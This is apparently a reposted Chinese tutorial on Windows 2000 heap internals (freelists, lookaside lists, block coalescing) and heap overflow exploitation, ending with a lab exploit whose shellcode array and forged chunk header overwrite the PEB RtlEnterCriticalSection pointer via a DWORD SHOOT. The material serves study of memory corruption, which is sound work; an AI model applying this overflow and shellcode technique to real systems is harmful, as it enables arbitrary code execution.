当前位置: 首页 > news >正文

基础堆溢出原理与DWORD SHOOT实现

堆介绍

堆的数据结构与管理策略

程序员在使用堆时只需要做三件事情:申请一定大小的内存,使用内存,释放内存。

对于堆管理系统来说,响应程序的内存使用申请就意味着要在"杂乱"的堆区中"辨别"出哪些内存是正在被使用的,哪些内存是空闲的,并最终"寻找"到一片"恰当"的空闲内存区域,以指针形式返回给程序。

1."杂乱"是指堆区经过反复的申请、释放操作之后,原本大片连续的空间内存区可能呈现出大小不等且空闲块、占用快相间隔的凌乱状态。

2."辨别"是指堆管理程序必须能够正确地识别哪些内存区域是正在被程序使用的占用块,哪些区域是可以返回给当前请求的空闲块。

3."恰当"是指堆管理程序必须能够比较"经济"地分配空闲内存块。

现代操作系统的对数据结构一般包括堆块和堆表两类。

堆的结构

堆块
 

堆块:出于性能的考虑,堆区的内存按照不同大小组织成块,以堆块为单位进行标识,而不是传统的按字节标识。一个堆块包括两个部分:块首和块身。块首是一个堆块头部的几个字节,用来标识这个堆块自身的信息,例如,本块的大小、本块空闲还是占用等信息;块身是紧跟在块首后面的部分,也是最终分配给用户使用的数据区。

注意:

堆块管理系统所返回的指针一般指向块身的起始位置,在程序中是感觉不到块首
的存在的。在连续进行内存申请时候,如果够细心可能就会发现,返回的内存之
间存在"空隙",那就是块首

堆表


堆表:堆表一般位于堆区的起始位置,用于检索堆区中所有堆块的重要信息,包括堆块的位置、堆块的大小、空闲还是占用等。堆表的数据结构决定了整个堆区的组织方式,是快速检索空闲块、保证对分配效率的关键。堆表在设计时可能会考虑采用平衡二叉树等高级数据结构用于优化查找效率。现在操作系统的堆表往往不止一种数据结构。

堆表的内存组织如下图一所示:

图一 堆的内存组织

图片

在windows中,占用态的堆块被使用它的程序索引,而堆表只索引所有空闲态的堆块。其中,最重要的堆表有两种:空闲双向链表(Freelist(以下简称空表))和快速单向链表Lookaside(以下简称快表)。

空表

空闲堆块的块首中包含一堆重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分为 128 条。

堆区一开始的堆表区中有一个128 项的指针数组,被称作空表索引(Freelist array)。改数组的每一项包括两个指针,用于标识一条空表。

如图二所示,空表索引的第二项(free[1])标识了堆中所有大小为8字节的空闲堆块,之后每个索引项指示的空闲堆块递增8字节,例如,free[2]标识大小为16字节的空闲堆块,free[3]标识大小为24字节的空闲堆块,free[27]标识大小为1016字节的空闲堆块。因此有:

 

空闲堆块的大小 = 索引项(ID) x 8(字节)

图二 空闲双向链表

图片

把空闲堆块按照大小的不用链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块。需要注意的是,空表索引的第一项(frre[0])所标识的空表相对比较特殊。这条双向链表链入了所有大于等于1024字节的堆块(小于512KB)。这些按照各自的大小在零号空表中升序地依次排列下去。

快表

快表是windows用来加速对快分配而采用的一种堆表。这里之所以把它叫做"快表"是因为这类单项列表中从来不会发生对快合并(块块首被设置为占用态,用来防止堆块合并)。

快表也有128条,组织结构与空表类似,只是其中的堆块按照单链表组织。快表总是被初始化为空,而且每条快表最多只有四个节点,故很快就会被填满。

图三 快速单项链表(Lookaside)

图片

堆的操作

堆中的操作可以分为堆块分配、堆块释放和堆块合并(Coalese)三种。其中"分配"和"释放"是在程序提交申请和执行的,而堆块合并则是由堆管理系统自动完成的。

堆的分配

堆块的分配可以分为三类:快表的分配、普通空表的分配和零号空表(free[0])分配。

从快表中分配堆块比较简单,包括寻找到大小匹配的空闲堆块、将其状态修改为占用态、把它从堆表中"卸下"、最后返回一个执行堆块块身的指针给程序使用。

普通空表分配时首先寻找最优的空闲块分配,若失败,则寻找次优的空闲堆块分配,即最小的能够满足要求的空闲块。

零号空表中按照大小升序链着大小不同的空闲块,故再分配时先从free[0]反向查找最后一个块(即表中最大块),看是否满足要求,如果能满足要求,再正向搜索最小能够满足要求的空闲堆块进行分配(这就解释了为什么零号空表要按照升序排列了).

堆表分配中的"找零钱"现象:当空表中无法找到匹配的"最优"堆块时,一个稍大些的块会被用于分配。这种次优分配发生时,会先从大块中按请求的大小精确地"割"出一块进行分配,然后给剩下地部分重新标注块首,链入空表。这里体现地就是堆管理系统中地"节约"原则:买东西地时候用最合适地钞票,如果没有,就要找零钱,绝不会玩大方。

由于快表只有在精确匹配时才会分配,故不存在"找钱"现象。

注意:

这里没有讨论堆缓存(heap cache)、低碎片堆(LFH)和虚分配。

堆块释放

释放堆块的操作包括将堆块状态改为空闲态,链入相应的堆表。所有的释放块都链入堆表的末尾,分配的时候也要从堆表末尾拿。

再次强调,快表最多只有四项。

堆块合并

经过反复的申请与释放操作,堆区很可能已经变得"千疮百孔",产生很多内存碎片。为了合理有效地利用内存,堆管理系统还要能够进行堆块合并操作。如图四所示。

当堆管理系统发现两个空闲堆块彼此相邻的时候,就会进行堆块合并操作。

堆块合并包括将两个块从空闲链表中"卸下"、合并堆块、调整合并后大块的块首信息(如大小等)、将新块重新链入空闲链表。

题外话:

实际上,堆区还有一种操作叫做内存紧缩(shrink the compact),由RtlCompactHeap执行,
这个操作的效果与磁盘碎片整理差不多,会对整个堆进行调整,尽量合并可以用的碎片

图四 内存紧缩示意图

图片

在具体进行对快分配和释放时,根据操作内存大小的不同,windows采取策略也会有所不同。可以把内存块按照大小分为三类:

小块:SIZE < 1KB
大块:1KB =< SIZE < 512KB
巨块:SIZE >= 512KB

对应的分配和释放算法也有三类,如下表一所示:

表一 分配和释放算法

图片

最后,再强调以下堆管理的几个要点:

1.快表中的空闲块被设置为占用态,故不会发生堆块合并操作。

2.快表只有精确匹配时才会分配,故不存在"搜索次优解"和"找零钱"现象。

3.快表是单向链表,操作比双链表简单,插入删除都少用很多指令。

4.综上所述,快表很快,故再分配和释放时,总是优先使用快表,失败时才用空表。

5.快表只有四项,很容易就被填满,因此空表也是很频繁被使用的。

综上所述,Windows的堆管理策略兼顾了内存合理使用、分配效率等多方面因素。

堆调试

对分配函数之间的调用关系

Windows平台下的堆管理架构如图五所示:

图五 windows堆分配体系架构

图片

Windows 中提供了很多类型的对分配函数。详情请看MSDN。

所有的堆分配函数最终都将使用位于ntdll.dll中的RtAllocateHeap()函数进行分配,这个函数也是在用户态能够看到的最底层的函数分配函数。所谓万变不离其宗,这个"宗"就是RtlAllocateHeap()。因此,研究Windows堆只要研究这个函数即可。

图六 Windows对分配API调用关系

图片

堆的调试方法

用于堆的调试代码如下:

#include <windows.h>
int main()
{HLOCAL h1,h2,h3,h4,h5,h6;HANDLE hp;hp = HeapCreate(0,0x1000,0x10000);__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to
//freelist[8]
return 0;
}

调试环境:

Visual C++ 6.0
操作系统 Windows 2000

简单说明:对分配算法依赖于操作系统版本,编译器版本、编译选项、build类型等因素,甚至还与虚拟机版本有关联。

调试堆与调试栈不同,不能直接用调试器OllydbgWindbg来加载程序,否则堆管理函数会检测到当前进程处于调试状态,而是用调试态堆管理策略。

调试堆管理策略和常用堆管理策略有很大的差异,集中体现在:

1.调试堆不使用快表,只用空表分配。

2.所有堆块都被加上了多余的16字节尾部用来防止溢出(防止程序溢出而不是堆溢出攻击),这包括8个字节的0xAB和8个字节0x00

3.块首的标识不同。

调试态的堆和常态的堆的区别就好像debug版本的PErelease版本的PE一样。

在Windows 2000 平台下,使用vc6.0编译器的默认选项将上述代码build成release版本。直接运行,程序会自动中断,如图七所示:

图七 通过人工断点中断程序

图片

现在可以使用调试器attach运行中的进程。如果默认的调试器是Ollydby,那么直接单击"调试"将自动打开Ollydbyattach进程,并在断点处停下。如图八所示:

图八 attach进程

图片

所有堆块分配函数都需要指明堆块区的句柄,然后在堆区内进行堆表修改等操作,最后完成分配工作。

attach成功之后,根据实验源码可以直到,分配给我们的堆地址此时在EAX寄存器,如图九所示:

图九 堆地址

图片

通常情况下,进程中会同时存在若干个堆区。其中包括开始于0x00010000的大小为0x1000的进程堆,可以通过GetProcessHeap()函数获取这个堆的句柄并使用;单击Ollydbg中的M按钮,就可以得到当前的内存映射状态,如图十所示:

图十 进程空间中同时存在的多个堆

图片

上面我们已经找到了堆的起始地址(0x00370000),现在我们直接去内存查看。如图十一所示,从0x00370000开始,堆表中包含的信息依次是段表索引(Segment List)、虚表索引(Virtual Allocation list)空表使用标识(freelist usage bitmap)和空表索引区。

图十一 在内存中查看堆块

图片

我们最关心的偏移0x178处的空表索引区,其余的堆表一般与堆溢出利用关系不大,这里就不讨论了。

当一个堆刚刚被初始化时,它的堆块状况是非常简单的。

1.只有一个空闲的大块,这个块被称作"尾块"。

2.位于堆偏移0x688处(启用快表后这个位置将是快表),这里算上堆基址就是0x00370688。

3.Freelist[0]指向"尾块"。

4.除了零号空表索引外,其余各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块。

关于块首中数据的含义

占用堆块的数据结构如图十二所示。

图十二 占用态堆块的数据结构

图片

空闲堆块和占用堆块的块首结构基本一致,只是将块首后数据区的前8个字节用于存放空表指针了。如图十三所示。这8个字节在表会占用态时将重新分回块身用于存放数据。

图十三 空闲块堆块的数据结构

图片

我们直接去看0x00370688处查看尾块的状态。如图十四所示:

图十四 在内存中识别堆块

图片

对照块首结构的解释,我们得到了以下信息:

1.这个堆块的起始位置是0x00370480,一般引用堆块的指针都会越过8个字节的块首,直接指向数据区。

2.尾块目前的大小为0x0130,计算单位是8个字节,也就是0x980字节。

3.注意:堆块的大小是包含块首在内的。

堆块的分配

经过调试,对于堆块的分配我们应该了解以下细节。

1.堆块的带下包括了块首在内,即如果请求32字节,实际会分配的堆块为40字节:8字节块首 + 32字节块身。

2.堆块的单位是8字节,不足8字节的部分按8字节分配。

3.初始状态下,快表和空表都为空,不存在精确分配。请求将使用"次优块"进行分配。这个“次优块”就是位于偏移0x0688处的尾块。

4.由于次优分配的发生,分配函数会陆续从尾块中切走一些小块,并修改尾块块首中的Size信息,最后吧Freelist[0]指向新的尾块位置。

所以,对于前六次连续的内存申请,实际分配情况如表十五所示:

表十五 内存请求分配情况

图片

现在,Ollydbg中单步运行到前六次分配结束,堆中的情况如图十六所示:

图十六 在内存中识别堆块

图片

实际分配情况和我们预料的完全一致。"找零钱"现象使得尾块的大小由0x130被削减为0x120。如果去0x00370178查看freelist[0]中的空指针,会发现已经指向新尾块的位置,而不是原来的0x00370688。如图十七所示:

图十七 新的尾块位置

图片

堆块的释放

由于前三次释放的堆块在内存中不连续,因为不会发生合并。按照其大小,h1和h3所指向的堆块应该被链入Freelist[2]的空表,h5则会被链入freelist[4]。

三次释放运行完毕之后,堆区的状态如图十八所示:

图十八 三次释放之后堆块的结构

图片

从图中可以看到free h1的前向指针指向free h3。而他们各自有指针指向freelist[2](0x00370188)。

再去0x00370178查看空表索引区的情况,如图十九所示:

图十九 索引区

图片

可以看见freelist[0]指向尾块。freelist[2]指向free h1free h3,而freelsit[4]指向free h5

堆块的合并

党第四次释放操作结束之后,h3、h4、h5这三个空闲块彼此相邻,这时会发生堆块合并操作。

首先这三个空闲块都将从空表中摘下,然后重新结算合并后的大小,最后按照合并后的大小把新块链入空表。

在这里,h3、h4的大小都是2个堆单位(8个字节),h5是4个单位,合并后的新块为8个堆单位,将被链入freelist[8]。

最后一次释放操作执行完成后的堆区状态如图二十所示。

0x003701B8处可以取得freelist[8]空闲块的位置(0x003706A8)。

图二十 合并后的块

图片

可以看到,合并只修改了块首的数据,原快的块身基本没有发生变化,注意合并后的新块大小已经被修改为0x0008,其空表指针指向0x003701B8,也就是freelist[8]

可以观察到:

◆在0x00370188处的freelist[2],原来标识的空表中有两个空闲块h1h3,而现在只剩下了h1,因为h3在合并时被摘下了。

◆在0x00370198处的freelist[4],原来标识的空表有一个空闲块h5,现在被改为指向自身,因为h5在合并时被摘下了。

◆在0x00370B8处的freelist[8],原来指向自身,现在指向合并后的新空闲块0x003706A8

这就是堆块的合并过程。堆块合并可以更加有效地利用内存,但往往需要修改多处指针,也是一个费时地工作。因此,堆块合并只发生在空表中,再强调分配效率地快表中,对快合并一般会被禁止(通过设置为占用态)。另外,空表中地第一个块不会向前合并,最后一个块也不会向后合并。

快表地使用

现在来看看Lookaside表(快表)中空间申请与释放过程。

实验源码:

#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}

需要注意的是程序在使用快表之后堆结构也会发生一些变化,其中最为主要的变化是“尾块”不在位于堆0x0688偏移处了,这个位置被快表霸占。从偏移0x0178处的空表索引区也可以看出这一点。如图二十一:

图二十一 "尾块"不再位0x0688位置
 

图片

现在我们到偏移0x0688(0x00370688)处来看一下快表,如图二十二所示:

图二十二 堆初始化后快表状态

图片

可以看见堆初始化后快表时空的,这也是为什么代码中我们需要反复的申请释放空间。首先我们从Freelist[0]中依次申请8、16、24个字节的空间,然后再通过HeapFree操作将其释放到快表中(快表未满时优先释放到快表中)。根据三个对快的大小我们可以直到8字节的会被插入到Lookaside[1]中、16字节的会被插入到Lookaside[2]中、24字节的会被插入到Lookaside[3]中。执行玩四次释放操作后快表区状态如下图二十三所示:

图二十三 四次释放后快表状态

图片

我们去0x00371EA0附近观察一下堆块的状态,我们可以看见快表中的堆块与空表中的堆块有着两个明显的区别:

◆块首的标识位为0x01,也就是这个堆块是busy状态,这也就是为什么快表中的堆块不进行合并操作的原因。如图二十四所示。

◆块首只存指向下一堆块的指针,不存在指向前一块堆块的指针。

图二十四 快表中堆块的状态
 

图片

经过前面的释放操作后,快表已经非空了,此时如果,我们在申请8、16、或24字节大小空间的时候,系统会从快表中给我们分配,所以程序中接下来申请16个字节空间时,系统会从Lookaside[2]中卸载一个对快分配给程序,同时修改Lookaside[2]表头。

堆溢出利用(上)—— DWORD SHOOT

链表"拆卸"中的问题

堆管理系统的三类操作:堆块分配、堆块释放和堆块合并归根结底都是对链表的修改。

所有"卸下"和"链入"堆块的工作都发生再链表中,如果我们能伪造链表节点的指针,在"卸下"和"链入"的过程中就有可能获得一次读写内存的机会。

堆溢出的精髓就是利用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指针(flink)和后向指针(blink),然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。

我们把这种能够向内存任意位置写入任意数据的机会称为"DWORD SHOOT"。注意:DOWRD SHOOT发生时,我们不到可以控制设计的目标(任意地址)。还可以选用适当的子弹(4字节恶意数据)。

注:

 

DOWORD SHOOT 只是这里的叫法,其他地方可能会被叫做“arbitrary DWORD reset”。

通过DWORD SHOOT,攻击者可以进而劫持进程,运行shellcode。如表二所示的几种情况。

图片

DWORD SHOOT 原理

举个例子来说明DWORD SHOOT究竟时怎么发生的。将一个节点从双向链表中"卸下"的函数很可能就是类似这样的。

int remove (ListNode *node)
{
node -> blink -> flinke = node -> flinke;
node -> flink -> blinke = node -> blinke;
return 0;
}

按照这个逻辑,正常的拆卸过程如图二十五所示:

图二十五 空闲双向链表的拆卸

图片

当堆溢出发生时,非法数据可以淹没下一个堆块的块首。这时,块首是可以被攻击者控制的。即块首中存放的前向指针(flinke)和后向指针(blinke)是可以被攻击者伪造的。当这个堆块被从双向链表中"卸下"时,node -> blinke -> flinke = node -> flinke将把伪造的flinke指针值写入blinke所指的地址中去,从而发生DWORD SHOOT。这个过程如图二十六所示:

图二十六DWORD SHOOT发生的原理

图片

用一个简单的调试过程来体会DWORD SHOOT技术。用于调试代码如下:

#include <windows.h>
int main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3//used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
//will allocate from freelist[2] which means unlink the last entry
//(h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

环境:

Windows 2000 虚拟机
Visual C++6.0
build版本:release

在这段程序中应该注意:

1.程序首先创建了一个大小为0x1000的堆区。并从其中连续申请了6个大小为8字节的堆块(加上块首实际上是16字节),这应该是从初始化的大块中"切"下来的。

2.释放奇数次申请的块堆是为了防止堆块合并的发生。

3.三次释放后,freelist[2]所标识的空表中应该链入了3个空闲堆块,他们依次是h1、h3、h5。

4.再次申请八字节的堆块,应该从freelist[2]所标识的空表中分配,这意味着最后一个堆块h5被从空表中"卸下"。

5.如果我们手动修改h5块首的指针,应该就能观察到DWORD SHOOT的发生。

三次释放操作结束后,直接在内存区观察堆块的状况,如下图二十七所示:

图二十七DWORD SHOOT前堆的状态

图片

0x0370680处开始,共有七个堆块,如表三所示:

图片

空表索引区状况如图二十八所示:


图二十八

图片

除了freelist[0]freelist[2]之外,所有的空表索引都为空(指向自身)。

这时,最后一次8字节的内存请求会把freelist[2]最后一项(原来的h5)分配出去,这意味着将最后一个节点从双向链表中"卸下"。

如果我们现在直接在内存中修改h5堆块中的空表指针(当然攻击发生时是由于溢出而改写的),那么应该就能够观察到DWORD SHOOT现象。如图二十九所示:

图二十九 制造DWORD SHOOT

图片

如图二十九,直接将调试器手动将0x003706C8处的前向指针修改为0xFFFFFFFF后向指针修改为0x00370710。当最后一个分配函数被调用后,我们可以看见0x00370710地址处的数据被修改成了0xFFFFFFFF(原本为0x00000000)。

以上只是引发DWORD SHOOT的一种情况。事实上,堆块的分配、释放、合并操作都能引发DWORD SHOOT(因为都涉及了链表操作),甚至快变也可以被用来制造DWORD SHOOT。由于其原理基本一致,故不一一赘述。

堆溢出利用(下)——代码植入

DWORD SHOOT的利用方法

堆溢出的精髓是获得一个DWORD SHOOT的机会。所以,堆溢出利用的精髓也就是DWORD SHOOT的利用。

与栈溢出中的"地毯式轰炸"不同,堆溢出更加精准,往往直接狙击重要目标。精准是DWORD SHOOT的优点,但是"火力不足"有时也会限制堆溢出的利用,这样就需要选择最重要的目标用来“狙击”。

这里会介绍一些内存中常用的"狙击目标",然后以修改PEB中的同步指针函数为例,给出一个完整的利用堆溢出执行shellcode的例子。

DWORD SHOOT的常用目标打开可以概括为以下几类:

◆内存变量 :修改能够影响程序执行的在红药标志,往往可以改变程序流程。例如更改身份验证函数的返回值就可以直接通过认证机制。

◆代码逻辑 :修改代码段重要函数的关键逻辑有时可以达到一定的效果,例如:程序分支处的判断逻辑,或者把身份验证函数的调用指令覆盖为0x90(nop)。

◆函数返回地址 :栈溢出通过修改函数返回地址能够劫持进程,堆溢出也一样可以利用DWORD SHOOT更改函数返回地址。但由于栈帧位移的原因,函数返回地址往往是不固定的,甚至在同一操作系统和补丁版本下连续运行两次栈状态都会有不同。

◆攻击异常处理机制 :当程序产生异常时,Windows会转入异常处理机制。堆溢出很容易引起异常,因此异常处理机制所使用的重要数据结构往往会称为DWORD SHOOT的上等目标,这包括SEH(structure exception handler)、FVEH(First Vectored Exception Handle)、进程环境块PEB中的UEF(Unhandled Exception Filter)、线程环境块TEB中存放的第一个SEH指针(TEH)。

◆函数指针 :系统有时会使用一些函数指针,比如调用动态链接库中的函数、C++中的虚函数的调用等。改写这些函数指针后,在函数调用发生后往往可以成功的劫持进程。但是可惜的是不是每一个漏洞都可以使用这项技术,这取决于软件的开发方式。

PEH中线程同步函数的入口地址 :指向RtlenterCriticalSection()RtlLeaveCriticalSection(),并且在进程退出时会被ExitProcess()调用。如果能够通过DWORD SHOOT修改这对指针中的其中一个,那么在程序退出时ExitProcess()将会被骗去执行我们的shellcode。由于PEB的位置始终不变,这对指针在PEB中的偏移也始终不会变化,这使得利用堆溢出开发适用于不同操作系统版本和补丁版本的exploit成为了可能。

狙击PEB 中 RtlEnterCriticalSection()函数指针

windows为了同步进程下的多个线程,使用了一些同步措施,如锁机制(lock)、信号量(semaphore)、临界区(critical section)等。许多操作都要用到这些个同步机制。

当进程退出时,ExitProcess()函数要做很多善后工作,其中必然需要用到临界区函数RtlEnterCriticalSection()RtlLeaveCriticalSection()用来同步线程防止“脏数据”的产生。

ExitProcess()调用临界区函数的方式比较独特,是通过进程环境块PEB中偏移0x20处存放的函数指针来间接完成的,具体来说,就是在0x7FFDF020处存放着指向RtlEnterCriticalSection()的指针,在0x7FFDF024处存放着指向RtlLeaveCriticalSection()的指针。

这里我们以0x7FFDE020处的RtlEnterCriticalSection()指针为目标,使用DWORD SHOOT劫持进程\植入代码。

用于实验的代码:

#include <windows.h>
char shellcode[351] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,...
};int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break process
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

环境:

Windows 2000 虚拟机
Visual C++6.0

简单解释一下实验程序和实验步骤:

1.h1向堆中申请了200字节的空间。

2.memcpy的上限错误的写成了0x200,实际上时512字节,所以会产生溢出.

3.h1分配完成之后,后面紧接着的是一个大空闲块(尾块)。

4.超过200字节的数据将覆盖尾块的块首。

5.用伪造的指针覆盖尾块块首中的空表指针,当h2分配时,将导致DWORD SHOOT.

6.DWORD SHOOT的目标是0x7FFDF020处的RtlEnterCriticalSection()函数指针,可以简单地将其直接修改为shellcode的地址。

7.DWORD SHOOT完毕后,堆溢出导致异常,最终调用ExitProcess()结束进程。

8.ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从PEB中拿出了指向shellcode的指针,因此shellcode被执行。

此时我们可以通过调试看见0x7FFDF020处的函数指针为0x77F82060。

图片

修改实验程序为:

#include <windows.h>
char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
0xB8, 0x20, 0xF0, 0xFD, 0x7F, //MOV EAX,7FFDF020
0xBB, 0x60, 0x20, 0xF8, 0x77, //MOV EBX,77F82060 ;这个地址需要调试时确定
0x89, 0x18, //MOV [EAX],EBX
0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x16, 0x01, 0x1A, 0x00, 0x00, 0x10, 0x00, 0x00,//块首信息
0x88, 0x06, 0x37, 0x00, //shellcode地址
0x20, 0xF0, 0xFD, 0x7F //RtlEnterCriticalSection函数指针地址
};int main(){HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3
memcpy(h1,shellcode,0x200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT
return 0;
}

实验截图如下:

图片

注:

PEB 中存放 RtlEnterCriticalSection()函数指针的位置 0x7FFDF020 是固定的,但是,RtlEnterCriticalSection()的地址也就是这个指针的值 0x77F82060 有可能会因为补丁和操作系统而不一样,请在调试时确定

相关文章:

基础堆溢出原理与DWORD SHOOT实现

堆介绍 堆的数据结构与管理策略 程序员在使用堆时只需要做三件事情&#xff1a;申请一定大小的内存&#xff0c;使用内存&#xff0c;释放内存。 对于堆管理系统来说&#xff0c;响应程序的内存使用申请就意味着要在"杂乱"的堆区中"辨别"出哪些内存是正在…...

ts的一些

以js为基础构建的语言 一个js的超集 引入了类型(type)的概念给变量赋予类型&#xff1a;让从动态类型语言(js)变成静态类型语言(ts) 让变量的类型明确 扩展了js 可以在任何支持js的平台中执行 比js复杂 可维护性更高 ts不能被js解析器执行 不能再浏览器中直接执行 ts会被编译为…...

LORA概述: 大语言模型的低阶适应

LORA概述: 大语言模型的低阶适应 LORA: 大语言模型的低阶适应前言摘要论文十问实验RoBERTaDeBERTaGPT-2GPT-3 结论代码调用 LORA: 大语言模型的低阶适应 前言 LoRA的核心思想在于优化预训练语言模型的微调过程&#xff0c;通过有效地处理权重矩阵的变化&#xff08;即梯度更新…...

关于在PyTorch中使用cudnn.benchmark= True

关于在PyTorch中使用cudnn.benchmark True 在PyTorch中&#xff0c;cudnn.benchmark True是一个参数&#xff0c;用于启用或禁用cuDNN的基准测试模式。cuDNN是一个由NVIDIA开发的深度神经网络库&#xff0c;它为GPU提供了一个优化的计算接口。 基准测试模式是cuDNN的一个特性…...

re:Invent大会,亚马逊云科技为用户提供端到端的AI服务

11月末&#xff0c;若是你降落在拉斯维加斯麦卡伦国际机场&#xff0c;或许会在大厅里看到一排排AI企业和云厂商相关的夸张标语。走向出口的路上&#xff0c;你的身边会不断穿梭过穿着印有“AI21Lab”“Anthropic”等字样的AI企业员工。或许&#xff0c;你还会被机场工作人员主…...

23、什么是卷积的 Feature Map?

这一节介绍一个概念&#xff0c;什么是卷积的 Feature Map&#xff1f; Feature Map, 中文称为特征图&#xff0c;卷积的 Feature Map 指的是在卷积神经网络&#xff08;CNN&#xff09;中&#xff0c;通过卷积这一操作从输入图像中提取的特征图。 上一节用示意动图介绍了卷积算…...

安装获取mongodb

目录 本地安装 获取云上资源 获取Atlas免费数据库 本地连接数据库 在Atlas中连接数据库 本文适合初学者或mongodb感兴趣的同学来准备学习测试环境&#xff0c;或本地临时开发环境。mongodb是一个对用户非常友好的数据库。这种友好&#xff0c;不仅仅体现在灵活的数据结构和…...

【模电】基本共射放大电路的工作原理及波形分析

基本共射放大电路的工作原理及波形分析 在上图所示的基本放大电路中&#xff0c;静态时的 I B Q I\tiny BQ IBQ、 I C Q I\tiny CQ ICQ、 U C E Q U\tiny CEQ UCEQ如下图( b )、( c )中虚线所标注。 &#xff08; a &#xff09; u i 的波形&#xff08; b &#xff09; i B …...

Oracle:左连接、右连接、全外连接、(+)号详解

目录 Oracle 左连接、右连接、全外连接、&#xff08;&#xff09;号详解 1、左外连接&#xff08;LEFT OUTER JOIN/ LEFT JOIN&#xff09; 2、右外连接&#xff08;RIGHT OUTER JOIN/RIGHT JOIN&#xff09; 3、全外连接&#xff08;FULL OUTER JOIN/FULL JOIN&#xff0…...

virtualbox上win7企业微信CPU高问题

问题 linux Opensuse上的Virtualbox安装有win7, win7中跑企业微信CPU占用很高。一杀掉它&#xff0c;CPU占用就立马降下来了。 定位 当cpu占用高时&#xff0c;打开任务管理器&#xff0c;可以定位到svhost.exe占用很高&#xff0c; 优化 右键点击计算机–管理–服务和应用…...

【华为OD题库-055】金字塔/微商-java

